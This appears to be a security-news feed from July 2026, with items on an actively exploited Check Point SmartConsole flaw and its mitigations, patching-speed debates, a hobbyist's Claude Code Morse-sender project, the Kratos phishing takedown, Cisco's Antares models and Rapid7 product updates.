R81.10, R81, R80.30, R80.20, R80.10, R80, and R77.30: no fix specified

CVE-2026-62144 and CVE-2026-62145 affect the same release families (R81.10, R81.20, R82, R82.10) per the vendor advisory, with older versions also impacted.

Smart-1 Cloud customers are already protected according to Check Point. For on-premises deployments where the hotfix cannot be applied immediately, Check Point recommends the following steps to reduce exposure:

Restrict Trusted Clients (GUI clients) to trusted IP addresses or subnets
Protect Management access with a firewall and restrict access to trusted IP addresses
Verify that implied rules for control connections are enabled

These mitigations reduce the attack surface, but they do not address the underlying vulnerability. Installing the Jumbo Hotfix remains the priority.

Rapid7 strongly recommends investigating for signs of compromise even after applying the hotfix, particularly in environments where the Management Server has been accessible from the internet. Organizations should review administrator, SmartConsole, API, and application token activity, and search logs for the published indicators of compromise listed below.

For the latest mitigation guidance, please refer to the vendor advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-16232, CVE-2026-62144, CVE-2026-62145 with authenticated vulnerability checks expected to be available in the 24 July content release.

Indicators of compromise

Check Point has published the following IP addresses associated with observed exploitation of CVE-2026-16232:

151.241.99[.]207
151.241.99[.]233
158.62.198[.]182
192.142.10[.]99
139.28.37[.]250
194.213.18[.]137

Per the vendor, the presence of these indicators should prompt investigation, but the absence of these addresses does not confirm that an environment was unaffected.

Updates

July 23, 2026: Initial publication.

Critical Check Point SmartConsole Flaw Exploited in the Wild to Bypass Authentication

Thu, 23 Jul 2026 12:10:17 +0200

The post Critical Check Point SmartConsole Flaw Exploited in the Wild to Bypass Authentication appeared first on IT Security News.

Critical Check Point SmartConsole Flaw Exploited in the Wild to Bypass Authentication

Thu, 23 Jul 2026 12:00:39 +0200

A critical authentication bypass vulnerability affecting Check Point SmartConsole has been actively exploited in the wild, allowing attackers to gain unauthorized access to security management systems under specific configurations. The flaw, tracked as CVE-2026-16232, carries a CVSS score of 9.3 and impacts Check Point Security Management and Multi-Domain Management deployments, particularly when management interfaces are […]

The post Critical Check Point SmartConsole Flaw Exploited in the Wild to Bypass Authentication appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

New Check Point Zero-Day Vulnerability Exploited in the Wild

Thu, 23 Jul 2026 11:52:04 +0200

The vulnerability tracked as CVE-2026-16232 has been exploited against customers with certain configurations. The post New Check Point Zero-Day Vulnerability Exploited in the Wild appeared first on SecurityWeek. This article has been indexed from SecurityWeek Read the original article: New…

The post New Check Point Zero-Day Vulnerability Exploited in the Wild appeared first on IT Security News.

Critical Check Point Flaw Lets Attackers Bypass SmartConsole Authentication

Thu, 23 Jul 2026 11:29:34 +0200

Check Point Software Technologies has disclosed three security vulnerabilities affecting its Security Management and Multi-Domain Management products, including a critical authentication bypass flaw that has already been exploited in the wild. The disclosure came through a jumbo hotfix released as part of the company’s Frontier AI Readiness Program, an initiative combining security hardening improvements with […]

The post Critical Check Point Flaw Lets Attackers Bypass SmartConsole Authentication appeared first on Cyber Security News.

New Check Point Zero-Day Vulnerability Exploited in the Wild

Thu, 23 Jul 2026 11:13:32 +0200

The vulnerability tracked as CVE-2026-16232 has been exploited against customers with certain configurations.

The post New Check Point Zero-Day Vulnerability Exploited in the Wild appeared first on SecurityWeek.

CISA Warns of Check Point Authentication Vulnerability Actively Exploited in the Wild

Thu, 23 Jul 2026 11:13:20 +0200

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has issued an urgent warning about a critical authentication vulnerability in Check Point SmartConsole that is actively being exploited in the wild, prompting organizations to take immediate defensive action. Tracked as CVE-2026-16232,…

The post CISA Warns of Check Point Authentication Vulnerability Actively Exploited in the Wild appeared first on IT Security News.

Check Point Patches Exploited SmartConsole Flaw Allowing Full Admin Access

Thu, 23 Jul 2026 10:43:41 +0200

Check Point has released security updates to address multiple vulnerabilities impacting Security Management and Multi-Domain Management (MDSM) products, including a critical flaw that has come under active exploitation in the wild. The security flaw, tracked as CVE-2026-16232 (CVSS score: 9.3),…

The post Check Point Patches Exploited SmartConsole Flaw Allowing Full Admin Access appeared first on IT Security News.

Check Point Patches Exploited SmartConsole Flaw Allowing Full Admin Access

Thu, 23 Jul 2026 10:06:58 +0200

Microsoft’s 3-day patching directive comes with added operational risk

Thu, 23 Jul 2026 09:10:44 +0200

Microsoft 365 Director Jeremy Chapman this month took to video to tell Windows admins that the days of delaying security patches are over.

Complex enterprise systems and historic incidents involving patch problems have caused many admins to hold fire on immediately applying security patches, in many cases deferring patch rollouts for two to four weeks or more to ensure stability. Microsoft argues that this cautious approach, though understandable, is no longer viable because AI is accelerating the discovery and exploitation of software vulnerabilities.

As a result, Microsoft has advised admins to act on patches within three days.

Independent experts agree with Microsoft’s diagnosis of the problems posed by AI-powered vulnerability discovery, but many say Microsoft’s three-day remediation window is unrealistic for large enterprises with heavy testing, change-control, and compatibility constraints.

Instead of taking a blanket approach, enterprises need to focus more on quickly resolving those vulnerabilities that are under active exploitation and relevant to their environments, according to critics of Microsoft’s revised approach.

Tighter patching deadlines

Microsoft’s revised vulnerability remediation advice comes in the wake of its work with Anthropic’s Project Glasswing and findings from Microsoft’s own MDASH multi-model agentic scanning harness. Tighter patching deadlines are configurable via Windows Autopatch and Microsoft Intune or update tooling options such as Microsoft Configuration Manager and Windows Server Update Services.

As IT environments become increasingly more complex, inadvertent issues can occur with what appears to be a simple patch.

Unique or complex deployments may not be compatible with a patch, resulting in potential data corruption, system shutdown, or the dreaded “Blue Screen of Death.” Multiple vendors in the operating system and the enterprise software and security market have released patches that have broken products and caused outages, so the issue goes well beyond Windows shops.

Increasing both the volume and the speed of patching is unsustainable for most security teams because organizations are already struggling with successful remediation as it is.

“Many organizations have patch windows, review cycles, and test environments to identify these issues prior to patching production environments,” says Scott Caveza, senior research manager at exposure management and vulnerability assessment firm Tenable. “Organizations lacking the resources for extended validation risk deploying faulty patches that cause downtime or force last-minute configuration changes.”

Caveza adds: “The mitigation steps will vary for each organization, but blindly relying on auto-updates without contextual validation is not a defensible security posture.”

CISA’s Known Exploited Vulnerabilities list and other industry data suggest that only a small fraction of disclosed vulnerabilities are confirmed as exploited in the wild.

“[Enterprises should focus on] identifying vulnerabilities with credible and functional PoCs, verified exploitation, or sustained attention from ransomware groups, threat actors, and botnets,” says Caitlin Condon, vice president of security research at VulnCheck. “Timely exploit intelligence helps organizations identify the bugs that require immediate attention, while allowing lower-risk issues to proceed through appropriate testing and change control.”

Other independent experts are more sympathetic to Microsoft’s argument that AI has made vulnerability discovery and exploit development faster than ever and, as a result, the risks of delaying patches are far greater.

“Organizations sometimes delay patches to protect the uptime of critical systems, and many updates still require a restart,” says Danny Jenkins, CEO and co-founder at endpoint protection technology vendor ThreatLocker. “Some teams also stay one update cycle behind because they are concerned that a new patch could introduce bugs or break an overlooked dependency. Unfortunately, delaying patches to preserve uptime is becoming much harder to justify.”

Jenkins adds: “Organizations should not leave critical systems exposed while waiting for the next maintenance window. Patches should still be tested, but that process needs to move quickly, with the highest priority given to vulnerabilities that are actively exploited or exposed to the internet. A controlled interruption is usually far less costly than a successful attack exploiting a known vulnerability.”

Wider cross-industry impact

Microsoft’s three-day recommendation reflects a fundamental change in the threat landscape. Other vendors might be expected to follow suit and that means CISOs need to revise their approach to vulnerability remediation.

“Organizations should expect faster disclosure-to-exploitation timelines to become the norm, which means security programs must emphasize automation, trusted software supply chains, and continuous visibility rather than relying on periodic maintenance windows,” says Mike Nelson, VP and field CTO at DigiCert.

AI is compressing the time between vulnerability discovery and exploitation, and the industry is moving rapidly from 30-, 60-, and 90-day patching windows toward a matter of days.

However a “blanket three-day requirement for every vulnerability is neither realistic nor safe for most large organizations,” says Jeff Williams, founder and CTO at Contrast Security.

Failing to patch opens up security threats, but rushing an inadequately tested patch into production creates operational risk.

“The goal cannot be to treat every CVE [vulnerability] as an emergency,” according to Williams. “It has to be identifying, within hours, which vulnerabilities are actually exploitable and require immediate action.”

Holistic remediation

Security teams are already facing significant pressure to patch faster and to remediate a rising tide of new vulnerabilities, yet many practitioners are losing ground. Verizon’s Data Breach Investigation Report, published earlier this year, found that the median time to patch had actually increased to 43 days.

Patch deployment in enterprise environments involves configuration changes, reviews, testing, and validation.

Enterprises need to become more proficient at exposure management so that they have a holistic view of their environment that’s necessary to identify which assets are at greatest risk.

“By pinpointing the misconfigurations, identity flaws, and specific vulnerabilities that pose the greatest risk to their environment, security teams can prioritize exactly what to patch first,” Tenable’s Caveza says. “The idea of ‘patch everything’ is really outdated, and ‘patch faster’ isn’t feasible with the rapidly increasing number of vulnerabilities disclosed each day.”

CISOs will have to re-engineer their vulnerability and exposure management processes. “The traditional model of scanning everything, assigning generic severity scores, and tilting at a massive and expanding backlog is no longer fast enough,” says Contrast Security’s Williams.

Organizations need to identify the small number of vulnerabilities that matter, protect against them immediately, and remediate them on a timeline the business can safely support.

Enterprises should prioritize on resolving “internet facing, remotely exploitable vulnerabilities and any of the CISA Known Exploited Vulnerability list,” says Jose Lejin, an IEEE senior member.

Businesses that cannot safely validate and deploy patches within three days still have options, including “compensating controls, reducing an asset’s exposure, or in some cases removing the component entirely, all of which shrink the exploitable risk and buy time to patch properly,” says Brad Hibbert, CSO of vulnerability management provider Brinqa.

CISA Warns of Check Point Authentication Vulnerability Exploited in Attacks

Thu, 23 Jul 2026 08:54:43 +0200

The post CISA Warns of Check Point Authentication Vulnerability Exploited in Attacks appeared first on IT Security News.

CISA Warns of Check Point Authentication Vulnerability Exploited in Attacks

Thu, 23 Jul 2026 07:39:59 +0200

The post CISA Warns of Check Point Authentication Vulnerability Exploited in Attacks appeared first on Cyber Security News.

HPR4689: Cheap Yellow Display Project Part 8: Writing the code

Thu, 23 Jul 2026 02:06:01 +0200

This show has been flagged as Clean by the host.

Hello, again. This is Trey.

Welcome to part 8 in my Cheap Yellow Display (CYD) Project series.

If you wish to catch up on earlier episodes, you can find them on my HPR profile page https://www.hackerpublicradio.org/correspondents/0394.html

It is hard to believe that I started this project and the HPR series to document it more than a year ago. Time flies. Life happens. I spent the last 8 months so focused on work related activities that I had to set the project aside. And once I set it aside, it was difficult to get back to again. The one time I tried, I found that my son's old Windows laptop, which I had commandeered to use for the project, was once and truly dead.

We live in a different world now than we did when I began this project. Today, everything is about AI – how it is changing our world, increasing efficiencies, and even displacing certain types of jobs. "Vibe coding" is transforming the way we make software, and now everyone is a developer.

Within my organization, we are all being strongly encouraged to learn more about AI and apply it in our daily work. We are blessed to have access to a wide range of training and to powerful tools which support the process. Several colleagues within my organization and outside my organization have recommended Claude Code -- for development, for organization, for brainstorming, and for much more. My role is not that of a developer, and I have had no need for Claude Code at work. There are plenty of other tools for me to use.

But at home, I thought... I could install Claude Code at home to experiment with and to learn. And then it hit me. I wonder if I could use Claude Code to help me with my stalled CYD project.

"Hello, my name is Trey, and I am a fraud."

OK. I don't think I am a fraud, but having never used such a powerful tool to help me code, I feel a little bit like a fraud, with Claude doing the work for me. Let's talk through what we did.

As I mentioned, I was unable to use the laptop on which I created the original GUI code. But no worries, because It was all on GitHub, right?

So, I began by trying to install Claude Code on one of my Ubuntu machines. That failed miserably, and all the instructions I found online recommended running it on Windows. So I transitioned to installing Claude Code on a freshly built Windows 10 system using some old hardware which will not support Windows 11. Surprisingly, It seems that Claude wants to run within Ubuntu on Windows Subsystem for Linux (WSL).

Once I went through all the hoops for installing and setting up my basic subscription, I got to work. I created a new directory to use for all my project files, and another one for Claude to write all its output files to.

Everything I have read and heard about using Claude Code for a project like this recommended beginning by using Claude to create the project plan. So my first prompt was as follows:

"I am building a project using an ESP32 cheap yellow display. The final goal is to have a device with a graphical user interface which will allow me store several text messages, each assigned to their own specific button. Then, when one of the buttons is pressed, the message will be converted into morse code, and the message will be sent by blinking an onboard LED. I already have the initial design for the GUI coded in my github repository. Please construct a detailed step by step plan for building this application"

I wanted to keep it simple at the beginning, so even though I plan to use an opto-isolated relay for the output, I am starting out using the built in LED.

Claude asked me for the URL for my Github repository, and I provided it. After thinking for a bit, it produced a project plan.

CYD Morse Sender — Step-by-Step Build Plan

What You Already Have

- 3 fully designed LVGL screens (Send, Config, Keyboard)

- 7 send buttons with green styling on the Send Screen

- Speed slider (5–30 WPM) and program slot dropdown on Config Screen

- Text area + LVGL keyboard widget on Keyboard Screen

- Display driver and touchscreen hardware initialized (but touch read was stubbed out)

---

Phase 1: Fix Touchscreen Input

Initialize the XPT2046 on VSPI, replace the hardcoded touched = false with real touch data, calibrate raw ADC coordinates to screen pixels, and verify all three nav buttons transition screens correctly.

Phase 2: Persistent Message Storage

Use Preferences.h / NVS to store 7 messages ("msg0" – "msg6") that survive power cycles. Load on boot and populate send button labels.

Phase 3: Config Screen — Slot Selection & Speed

Wire the Program dropdown to g_selectedSlot, wire the Speed slider to g_wpm with a live WPM label, and wire the Set button to clear the text area and navigate to the Keyboard Screen.

Phase 4: Keyboard Screen — Capture and Save Text

On keyboard OK (LV_EVENT_READY): read the text area, save to NVS, update the send button label, navigate back. On Cancel: navigate back without saving.

Phase 5: Morse Code Engine

Build morse.h with the full A–Z / 0–9 lookup table, a textToMorse() converter, and Paris-standard timing (unit_ms = 1200 / wpm).

Phase 6: Non-Blocking LED Transmission

State machine (IDLE / LED_ON / LED_OFF) driven by millis() in a morseUpdate() function called every loop — no delay(). LED on GPIO 17 (blue).

Phase 7: Wire the Send Buttons

Each button calls startMorse(getMessage(slot)) if not already transmitting. Disable all send buttons during TX; re-enable when the state machine reaches the end.

Phase 8: Integration & Polish

Stop button, WPM persistence, empty-slot guard, serial debug output, final touch calibration, end-to-end test checklist.

---

Recommended order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8

This was wild! Claude determined exactly how far along I was in the project, and also alerted me to the fact that the "touch read was stubbed out". Ugh. This means that the files I had uploaded to GitHub were my original GUI files (Episode 05 – HPR4532 - https://hackerpublicradio.org/eps/hpr4532/index.html ) and not the ones that I finally got working properly (Episode 07 – HPR4624 - https://hackerpublicradio.org/eps/hpr4624/index.html ). That was my own fault. Did I mention that I don't get Git? I REALLY need to learn to properly use Git!

But, we have a plan, broken down by eight numbered phases. And they seem to address all the functionality I wanted with a few additional things I had not thought about. Interestingly, even though these phases are sequentially numbered, Claud recommended that we approach them in a bizarre order: Phase 1 → 2 → 7 (partial) → 5 → 6 → 7 (full) → 3 → 4 → 8 .

Alright. Let's see what we can do. The first phase is to fix the touchscreen input.

Claude took me through it step-by-step, asking as it needed to read specific project files.

Finally, it wrote a new ui.ino code file to my speficied output directory for me to test. I copied it into the correct file location, said a quick prayer, compiled in Arduino IDE, and downloaded to the CYD.

Well, that is... interesting. The display looked nothing like it was supposed to. There were vertical green bars with smaller dashed green vertical stripes in them. I will include a picture in the show notes so that you can see what it looked like and why it was so difficult to describe.

I spent the next hour or so trying to explain what I was seeing to a chat bot. Claude recommended potential fixes which either did nothing or made the situation worse. I began questioning whether this was a good idea, how people actually gained efficiencies talking to a bot, and even several life choices.

Then I had a thought. I prompted Claude:

If I were to take a picture of the screen on the cheap yellow display and copy it into the output folder, would you be able to analyze it to better determine what is wrong and how to fix it?

Shockingly, Claude answered in the affirmative, and told me to copy the picture to the output folder and let it know when to proceed. It analyzed the picture and more of the supporting files it had copied from my GitHub, asking each time if it could access that file. It determined that my original code was written for a flavor of LVGL version 8 and I was now using LVGL 9.5.

It recommended changes, and then asked permission to make those changes, file by file. .h files & .c files, Finally, I just gave it permission to edit the files in the project folder without asking for permission for each file each time. Claude was still explaining each change, showing me exactly what would be changed, and asking for permission, so that I could review all of the changes. But now it was not asking additional permission to write to each of the impacted files.

Next, Code compiled and downloaded. Different screen, but not right. Again, I took a picture and gave it to Claude to analyze. So, Claude paused and altered the code to generate a specific test pattern overtop of the GUI.

The test pattern was supposed to cover the entire rectangular screen. But parts of the pattern were in a square on the screen and parts were not. Another photograph and analysis, told Claude that there were some rotation/screensize issues.

We repeated this several times. Some resulted in improvement, and others did not.

This is the point where I noticed something interesting. Not about Claude, specifically, or about the app. But I noticed something interesting about myself and about the process.

Previously, when I was working through some of these challenges without Claud, I found myself becoming more and more stressed, frustrated, and angry, until I found a solution. Then another problem would repeat the cycle. Success in the end was great, but the emotional extremes during the process were not always pleasant.

Now, I was effectively managing the project, and relaying information to the resource responsible for fixing the problems -- a very different experience.

But I also ran into another issue. Claude became absolutely certain that the problem revolved around the device not accurately knowing where the 4 corners of the screen were. But in reality, the output of the test pattern was rotated 90 degrees from the actual screen. It took several iterations of me insisting that the problem had to do with screen orientation and not corner coordinates. It was interesting to experience the tool doubling down on an obvious mistake, but we finally resolved that.

Again, while it was frustrating, it was much less stressful.

We proceeded to Phase 2: Persistent Message Storage where we ensured that the button labels on the send screen were stored in the devices persistent storage, so that, when they are edited to contain the message they should send, that information would survive a reboot.

Next, we combined elements of Phase 5: Morse Code Engine , Phase 6: Non-Blocking LED Transmission , and Phase 7: Wire the Send Buttons together. Building the morse code engine was an area I had been thinking about for a while. I already had working parts of something similar in the Arduino practice oscillator I have referenced a few times in this series. The code for the practice oscillator may be found on my GitHub, but it was all based on original code from jmharvey1, with my only contribution being making pin assignments variables so that the code could easily be ported to different devices.

So, I was happy that we were building the morse code engine directly. The code for it may be found in morse.h, which uses a constant character lookup table to define each character. Without any specific direction from me, Claude used the PARIS timing methods I have already described within Episode 6 of this series. It defines timing for DOT, DASH, LETTER_GAP, and WORD_GAP, and all are based on a simple calculation of 1200 ms / the number of words per minute (WPM) we wish to transmit.

Along the way, we discovered that, if we tried to use the delay() function, it would crash the program due to a conflict with the LVGL timer used for touchscreen inputs. Claude altered all the delays accordingly.

Then, Phase 3: Config Screen — Slot Selection & Speed allowed us to configure the WPM we wished to use in addition to selecting a specific Send button to reconfigure. This forced us to work on Phase 4: Keyboard Screen — Capture and Save Text which is used to type the entries for each Send button. At this point, I also decided that we would want to also use the Keyboard Screen to send ad hoc morse as we typed it.

During this phase we discovered several bugs which seemed to cause random freezes. Careful troubleshooting with messages output to the Arduino IDE's serial console helped us narrow down the causes and remedy them.

Finally all the tests worked and I am able to merrily pre-configure macro buttons with custom messages and use the CYD to send the morse code for those messages to the on-board LED at whichever rate I specify.

I have noticed in my presentation of this narrative that I repeatedly slip into the first person plural terms "we" and "us" instead of the first person singular terms "I" and "me". I have unconsciously personified Claud and recognized it as an integral part of my (formerly one person) development team.

I finally configured Claude to connect to my GitHub repo and upload all the files and documentation. We additionally created a CYD-Narrative.md file which describes in more detail all the work which was done on the project. I still do not 100% get git, but we are successfully using it.

You can find all these files in my GitHub repo ( https://github.com/jttrey3/CYD_MorseSender ) where they are shared under a GPL 3.0 license.

There are still several additional steps I plan to complete in the next few months.

1. I will be integrating an opto-isolated relay which will allow me to plug the device into the straight key input on any amateur radio. This will require a battery power source, charge controller, and more hardware.

I... make that "We" (Claude & I) will be modifying the code to support an audio side tone through an attached speaker when sending code
We will add an output selection switch to the config page to choose any combination of speaker, relay, or LED as output.
We will develop a downloadable firmware which I hope to share with the Cheap Yellow Display community.

If you can think of any additional features you would like to see integrated, please drop me an email using the address in my HPR profile.

I may also work with a friend to attempt to 3d print a case for the entire contraption, and I will be sure to record additional episodes sharing the process.

I have learned so much throughout this project, about the CYD, ESP32, GUIs, Claude Code, GitHub, and most of all, about myself.

Does using AI to develop this code make me a fraud? It still feels like it in some ways.

Does it make me more productive? ABSOLUTELY! I made consistent forward progress when I only had 30-60 minutes each day to work on it, and everything discussed in this episode was completed in less than a week. If I had been able to work on it for a few hours uninterrupted, it may have only taken me 3-5 hours.

Does it empower and inspire me to do more projects like this? 100% I feel like I had support working with me the whole way. I was less stressed overall, and it had less of an impact on the amount of and quality of time I spent with my family.

I will be wrapping up this series soon, without any more 6 month gaps, I hope.

Until next time...

Provide feedback on this episode.

German law enforcement claims to have ‘dismantled’ mega phishing-as-a-service group Kratos

Thu, 23 Jul 2026 01:57:56 +0200

A global law enforcement crackdown has seized infrastructure serving the massive phishing-as-a-service (PhaaS) group Kratos, as well resulting in the arrest of an unnamed Kratos “developer and technical administrator” in Indonesia.

The effort was managed by German law enforcement and involved agencies from the US, Indonesia and other countries.

Although a German statement claimed that the Kratos infrastructure “has been completely disabled” and that “Kratos-supported phishing campaigns can no longer be carried out,” cybersecurity analysts and consultants question how much of a dent in enterprise phishing activity will result, and how long it will last.

“A server seizure and a single arrest overseas remove infrastructure, not the intellectual property,” said Frank Dickson, group VP for security at IDC. “PhaaS kits get cloned, forked and resold routinely, and the 1,800 Kratos customers didn’t vanish. They just lost a vendor in a market where vendors get replaced fast.”

He added, “seizing 200-plus servers and arresting the developer pulls a major supplier out of that specific niche. It doesn’t touch the broader phishing economy. For every roach that you squish, there are a hundred that you do not see.”

Noah Kenney, principal consultant at Digital 520, takes an even more pessimistic view, arguing that there might not even be that much of a short-term phishing slowdown.

“What makes this different from a botnet or ransomware takedown is that the people running the attacks were never part of the organization. Kratos was just a vendor,” Kenney said. “The 1,800 customers who bought it still have their target lists, their sending infrastructure and whatever access they had already established. The tooling went dark, but the people phishing your employees last week are still working, shopping for a replacement that already exists. Enterprises should not read this as a drop in (likely) threat volume.”

One thing that the security community seems to agree on is that Kratos was a major player in the lucrative PhaaS space. But precisely determining the percentage of PhaaS activity controlled by Kratos is impossible, given that Kratos sold their kits to others. Security researchers even disagree on what they should call Kratos kits.

“Microsoft tracks this kit as SneakyLog, others tie it to Sneaky 2FA, and KnowBe4 disputes the lineage entirely. When the security industry cannot agree on what a kit is to be called, that is because renaming and reselling is continuous rather than something that happens after a raid,” Kenney said. “What actually changed this time is the arrest and the [shutdown of the] servers. Standing up new hosting is only a weekend of work, but replacing a developer who understood how to keep an adversary in the middle proxy stable and evasive at scale is harder.”

IDC’s Dickson added that the biggest value from the takedown is in the information gleaned from the seized servers.

“Kratos operated in the adversary-in-the-middle category, generating convincing fake Microsoft 365 login pages that harvest session tokens and step past MFA, the exact technique behind a lot of the business email compromise activity of the past two years,” he said. “I would love to see what law enforcement does with the customer list. That, my friend, is gold.”

Regardless, Assaf Morag, a cybersecurity researcher at Flare, dubbed the German crackdown “symbolic,” given Kratos’ reach within phishing circles.

He argued that the very nature of software makes it all but impossible to shut down in a meaningful way.

“Although this is malicious infrastructure, it is still software, and modern development and deployment practices make it relatively quick to rebuild or replicate,” he said. “Demand is likely to shift to competing providers, allowing the ecosystem to recover even if this particular operation has been disrupted.”

Pieter Arntz, malware intelligence researcher at Malwarebytes, agreed that the crackdown is disruptive but not definitive.

“This appears to be more than a routine website seizure. The reporting points to a PhaaS platform with centralized infrastructure, subscription-style customers, and Microsoft 365 session theft / MFA-bypass tooling, so taking down the backend likely hurts many downstream affiliates at once. In that sense, it is a meaningful disruption to the phishing ecosystem, not just one campaign,” Arntz said.

But, he added, “a rebrand or partial re-emergence is plausible, which is the historical pattern for PhaaS operations. Even if the core infrastructure is gone, the code, customer lists, and operator tradecraft can survive.”

This means that customers and affiliates can shift to other phishing kits, he said, so it’s likely that the takedown will create a temporary decline in Kratos-specific activity, but probably not a lasting reduction in phishing overall.

Flavio Villanustre, CISO for the LexisNexis Risk Solutions Group, also concluded that the impact of this crackdown will be short-lived.

“For each criminal organization that is dismantled, ten new ones pop out of nowhere. Unless there is a coordinated international effort by more than a few countries, this is a whack-a-mole exercise,” he said. “These are all loosely connected individuals and akin to a lernaean hydra, with two heads growing whenever you chop off one. Their leadership emerges from their lines organically without a real center of control. This makes it almost impossible to completely eliminate these criminal organizations.”

Endpoint security firm Glow emerges from stealth with $180 million.

Wed, 22 Jul 2026 22:12:26 +0200

Neo has emerged from stealth with $100 million. Palo Alto Networks has agreed to acquire user-focused observability provider Embrace.

Cisco’s new AI model tells code reviewers where to look for vulnerabilities

Wed, 22 Jul 2026 19:05:41 +0200

Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.

Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return the files most likely to contain that class of vulnerability.

“Its purpose is to reduce a large codebase to a focused set of files that a security professional or a downstream security workflow should investigate,” Cisco’s AI researcher Supriti Vijay said via email. “The goal is not to replace a security engineer’s judgement or send them on a wild-goose chase, but to reduce fatigue and workload by helping them triage an issue earlier and focus their investigation on the most relevant parts of the codebase.”

The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.

The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.

A search assistant, not a vulnerability detector

Cisco is careful to define what Antares is, and what it is not.

“Antares outputs a ranked list of source files likely to contain a relevant vulnerability, along with the terminal exploration trace that led to that result,” Cisco Foundation AI Chief Scientist Amin Karbasi wrote in a blog post, adding that the models are not meant to replace the broader application security toolchain: Human analysts or downstream security tools will still be needed to confirm exploitability, identify vulnerable lines of code, assess severity and generate fixes.

Antares differs from conventional static analysis platforms such as Semgrep or CodeQL, which primarily rely on predefined rules or queries. Cisco instead describes Antares as an evidence-driven exploration agent that adapts its search as it traverses the repository.

Cisco’s argument is that large repositories often contain thousands of files, making manual reviews exhaustive and unrealistic. By reducing the search space to a manageable shortlist, the company hopes to reduce investigation fatigue without replacing human judgement.

Claims of specialization over scale

Cisco is also making a statement about how cybersecurity models should evolve.

Instead of pursuing larger foundational models, Cisco argued that specialized, task-trained models can outperform much larger open-weight alternatives for vulnerability localization. In its evaluation Antares-3B, the largest model intended for single-GPU deployments, produced results comparable to GPT-5.5 while outperforming several substantially larger open models by Google, OpenAI and Meta.

The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.

The command line interface (CLI) on the models supports targeted CWE investigations, repository-wide scans, SARIF output and local inference, which Cisco said enables organizations to keep proprietary code inside their own trust boundary.

However, because Antares identifies candidate files rather than confirmed vulnerabilities, organizations will still need to understand how often such repository-wide searches should be run, how much they improve existing triage workflows, and whether the reduction in investigation effort ultimately translates into measurable security or cost benefits.

Cisco’s new AI model tells code reviewers where to look for vulnerabilities

Wed, 22 Jul 2026 18:54:39 +0200

The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.

The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.

A search assistant, not a vulnerability detector

Cisco is careful to define what Antares is, and what it is not.

Claims of specialization over scale

Cisco is also making a statement about how cybersecurity models should evolve.

The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.

This article first appeared on InfoWorld.

OpenAI models escaped containment to hack Hugging Face.

Wed, 22 Jul 2026 18:20:29 +0200

SolarWinds patches fifteen critical flaws. Business news: Neo emerges from stealth with $100 million.

What’s New in Rapid7 Products and Services: Q2 2026 in Review

Wed, 22 Jul 2026 16:30:13 +0200

If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.

Detection and response

Streamline investigations with bidirectional and enriched Microsoft Defender alerts

Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and MDR customers, enabling security teams to automatically synchronize alert status between Rapid7's SIEM and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.

Confidently scale detection engineering with Detection as Code

Detection as Code enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.

Figure 1: Rapid7's Detection as Code methodology.

Strengthen ransomware resilience with Ransomware Prevention for Incident Command

Ransomware Prevention for Incident Command adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.

Compliance

New solutions webpages

Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s platform, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.

Figure 2: Rapid7's new GovRAMP compliance solutions page.

Exposure management

Turn prioritized exposures into remediation progress

We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.

With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full blog to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.

AI pre-triage for AppSec findings

Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for AppSec customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.

Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.

Attack surface management

Open-source MCP Server and Agent Skill

We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our blog for more detail.

